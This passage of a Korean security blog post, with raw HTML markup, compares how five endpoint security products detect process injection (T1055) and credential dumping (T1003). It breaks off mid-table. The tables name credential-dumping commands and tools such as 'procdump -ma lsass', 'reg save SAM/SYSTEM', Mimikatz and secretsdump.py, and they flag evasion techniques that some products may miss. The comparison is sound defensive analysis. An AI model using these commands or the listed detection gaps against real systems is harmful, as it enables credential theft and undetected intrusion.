&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.1 테스트 대상 제품 개요&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Microsoft Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike Falcon&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic Security&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;유형&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;AV + EDR&lt;/td&gt;
&lt;td&gt;EDR&lt;/td&gt;
&lt;td&gt;AV + EDR&lt;/td&gt;
&lt;td&gt;SIEM + EDR&lt;/td&gt;
&lt;td&gt;AV + EDR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;커널 드라이버&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;WdFilter.sys&lt;/td&gt;
&lt;td&gt;전용 드라이버&lt;/td&gt;
&lt;td&gt;전용 드라이버&lt;/td&gt;
&lt;td&gt;Elastic Defend&lt;/td&gt;
&lt;td&gt;전용 드라이버&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;탐지 엔진&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;클라우드 AI + ASR&lt;/td&gt;
&lt;td&gt;IOA + ML&lt;/td&gt;
&lt;td&gt;행위 AI (ActiveEDR)&lt;/td&gt;
&lt;td&gt;룰 기반 + YARA&lt;/td&gt;
&lt;td&gt;BSS + HIPS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;자동 대응&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;격리/차단&lt;/td&gt;
&lt;td&gt;격리/킬&lt;/td&gt;
&lt;td&gt;킬 + 롤백&lt;/td&gt;
&lt;td&gt;수동 (기본)&lt;/td&gt;
&lt;td&gt;차단 + 롤백&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LSASS 보호&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;ASR + PPL + Credential Guard&lt;/td&gt;
&lt;td&gt;커널 수준&lt;/td&gt;
&lt;td&gt;커널 수준&lt;/td&gt;
&lt;td&gt;OS 의존&lt;/td&gt;
&lt;td&gt;HIPS + 커널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;가격대&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;E5 라이선스 포함&lt;/td&gt;
&lt;td&gt;프리미엄&lt;/td&gt;
&lt;td&gt;프리미엄&lt;/td&gt;
&lt;td&gt;무료/상용&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.2 T1055 프로세스 인젝션 &amp;mdash; 서브 기법별 탐지 능력&lt;/h3&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;범례: ● 탐지+차단  ◐ 부분 탐지  △ 구성 필요  ○ 미탐지 가능  &amp;mdash; 해당 없음&lt;/code&gt;&lt;/pre&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서브 기법&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DLL 인젝션&lt;/td&gt;
&lt;td&gt;.001&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PE 인젝션&lt;/td&gt;
&lt;td&gt;.002&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스레드 하이재킹&lt;/td&gt;
&lt;td&gt;.003&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APC 인젝션&lt;/td&gt;
&lt;td&gt;.004&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 콜백 인젝션&lt;/td&gt;
&lt;td&gt;.005&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;△&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ptrace (Linux)&lt;/td&gt;
&lt;td&gt;.008&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Proc Memory (Linux)&lt;/td&gt;
&lt;td&gt;.009&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extra Window Memory&lt;/td&gt;
&lt;td&gt;.011&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;△&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프로세스 할로잉&lt;/td&gt;
&lt;td&gt;.012&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프로세스 도플갱잉&lt;/td&gt;
&lt;td&gt;.013&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VDSO 하이재킹 (Linux)&lt;/td&gt;
&lt;td&gt;.014&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;△&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ListPlanting&lt;/td&gt;
&lt;td&gt;.015&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;△&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.3 T1055 &amp;mdash; 탐지 레이어별 역량&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;탐지 레이어&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;정적: 시그니처/IOC&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;정적: IAT 분석&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★☆☆☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;정적: 엔트로피/PE 이상&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★☆☆☆&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;동적: API 모니터링&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;동적: 커널 수준 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★☆☆☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;동적: 메모리 스캔&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★☆☆☆&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;휴리스틱: 클라우드 평판&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★☆☆☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;휴리스틱: 행위 점수&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.4 T1055 &amp;mdash; 우회 기법 대응력&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;우회 기법&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;문자열 난독화&lt;/td&gt;
&lt;td&gt;● (동적)&lt;/td&gt;
&lt;td&gt;● (IOA)&lt;/td&gt;
&lt;td&gt;● (AI)&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;● (BSS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IAT 은닉 (런타임 해결)&lt;/td&gt;
&lt;td&gt;● (ETW)&lt;/td&gt;
&lt;td&gt;● (커널)&lt;/td&gt;
&lt;td&gt;● (하이브리드)&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;● (HIPS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PE 패킹/암호화&lt;/td&gt;
&lt;td&gt;● (AMSI)&lt;/td&gt;
&lt;td&gt;● (ML)&lt;/td&gt;
&lt;td&gt;● (AI)&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;● (시스템감시)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;직접 시스콜&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;모듈 스톰핑&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;콜백 기반 실행&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;프로세스 고스팅&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;파이버 기반 실행&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.5 T1055 &amp;mdash; 탐지 시점 비교&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;인젝션 기법&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Classic DLL 인젝션&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 후 (룰 매칭)&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PE 인젝션&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 후&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프로세스 할로잉&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 후&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APC 인젝션&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 후&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프로세스 도플갱잉&lt;/td&gt;
&lt;td&gt;실행 후&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;실행 시&lt;/td&gt;
&lt;td&gt;&lt;b&gt;미탐지 가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;실행 후&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;직접 시스콜 인젝션&lt;/td&gt;
&lt;td&gt;&lt;b&gt;부분 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;탐지 (커널)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;부분 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;미탐지 가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;부분 탐지&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모듈 스톰핑&lt;/td&gt;
&lt;td&gt;&lt;b&gt;미탐지 가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;부분 탐지&lt;/td&gt;
&lt;td&gt;&lt;b&gt;미탐지 가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;미탐지 가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;미탐지 가능&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;inform7&quot;&gt;&lt;code&gt;탐지 시점 타임라인:

시간축 &amp;rarr;  파일 드롭  &amp;rarr;  실행 시작  &amp;rarr;  API 호출  &amp;rarr;  인젝션 완료  &amp;rarr;  C2 통신
              |            |            |              |             |
Defender:  [시그니처]   [AMSI/ASR]   [ETW 탐지]    [차단/격리]      |
CrowdStrike:  [ML]     [IOA 시작]   [커널 탐지]   [즉시 차단]      |
SentinelOne: [정적AI]   [행위 분석]  [행위 탐지]   [킬+롤백]       |
Elastic:      |           |            |              |        [룰 매칭&amp;rarr;알림]
Kaspersky: [시그니처]   [HIPS 시작]  [BSS 탐지]    [차단]          |&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.6 T1055 &amp;mdash; 알림 방식 비교&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;제품&lt;/th&gt;
&lt;th&gt;알림 명칭 예시&lt;/th&gt;
&lt;th&gt;알림 수준&lt;/th&gt;
&lt;th&gt;자동 조치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Defender&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&quot;Process injection detected&quot;, &quot;Suspicious process hollowing&quot;&lt;/td&gt;
&lt;td&gt;High/Critical&lt;/td&gt;
&lt;td&gt;격리, 프로세스 종료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CrowdStrike&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;IOA: &quot;Injected Thread in Remote Process&quot;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;프로세스 킬, 격리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SentinelOne&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&quot;Malicious &amp;mdash; Process Injection&quot;, Storyline 연계&lt;/td&gt;
&lt;td&gt;Threat (Critical)&lt;/td&gt;
&lt;td&gt;자동 킬 + 롤백&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Elastic&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&quot;Suspicious Process Injection via CreateRemoteThread&quot;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;알림만 (수동 대응)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Kaspersky&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&quot;PDM:Exploit.Win32.Generic&quot;, &quot;Dangerous activity detected&quot;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;차단, 롤백&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.7 T1003 자격증명 덤핑 &amp;mdash; 서브 기법별 탐지 능력&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서브 기법&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LSASS 메모리&lt;/td&gt;
&lt;td&gt;.001&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SAM&lt;/td&gt;
&lt;td&gt;.002&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTDS&lt;/td&gt;
&lt;td&gt;.003&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LSA Secrets&lt;/td&gt;
&lt;td&gt;.004&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;캐시된 도메인 자격증명&lt;/td&gt;
&lt;td&gt;.005&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;△&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DCSync&lt;/td&gt;
&lt;td&gt;.006&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;● (Identity)&lt;/td&gt;
&lt;td&gt;● (Ranger)&lt;/td&gt;
&lt;td&gt;◐ (이벤트 룰)&lt;/td&gt;
&lt;td&gt;● (네트워크)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/proc (Linux)&lt;/td&gt;
&lt;td&gt;.007&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/etc/shadow (Linux)&lt;/td&gt;
&lt;td&gt;.008&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.8 T1003 &amp;mdash; 도구별 탐지 능력&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도구/방법&lt;/th&gt;
&lt;th&gt;Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike&lt;/th&gt;
&lt;th&gt;SentinelOne&lt;/th&gt;
&lt;th&gt;Elastic&lt;/th&gt;
&lt;th&gt;Kaspersky&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mimikatz (원본)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mimikatz (패킹/변종)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Invoke-Mimikatz (PS)&lt;/td&gt;
&lt;td&gt;● (AMSI)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;comsvcs.dll MiniDump&lt;/td&gt;
&lt;td&gt;● (ASR)&lt;/td&gt;
&lt;td&gt;● (IOA)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐ (룰)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;procdump -ma lsass&lt;/td&gt;
&lt;td&gt;● (ASR)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reg save SAM/SYSTEM&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ntdsutil IFM&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DCSync (Mimikatz)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;secretsdump.py (Impacket)&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Nanodump&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;◐&lt;/td&gt;
&lt;td&gt;●&lt;/td&gt;
